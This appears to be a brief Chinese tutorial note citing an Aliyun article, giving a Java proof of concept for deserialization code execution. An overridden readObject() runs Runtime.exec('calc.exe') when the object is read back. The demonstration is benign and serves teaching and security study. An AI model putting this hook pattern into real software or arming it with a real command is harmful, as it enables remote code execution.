参考：
https://xz.aliyun.com/t/2041

直接 poc

```
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class test{
    public static void main(String args[]) throws
Exception{

        UnsafeClass Unsafe = new UnsafeClass();
        Unsafe.name = "hacked by ph0rse";

        FileOutputStream fos = new
FileOutputStream("object");
        ObjectOutputStream os = new
ObjectOutputStream(fos);
        //writeObject()方法将 Unsafe 对象写入
object 文件
        os.writeObject(Unsafe);
```

```
        os.close();
        //从文件中反序列化 obj 对象
        FileInputStream fis = new
FileInputStream("object");
        ObjectInputStream ois = new
ObjectInputStream(fis);
        //恢复对象
        UnsafeClass objectFromDisk =
(UnsafeClass)ois.readObject();

System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class UnsafeClass implements Serializable{
    public String name;
    //重写 readObject()方法
    private void
readObject(java.io.ObjectInputStream in) throws
IOException, ClassNotFoundException{
        //执行默认的 readObject()方法
```

```
        in.defaultReadObject();
        //执行命令
        Runtime.getRuntime().exec("calc.exe");
    }
}
```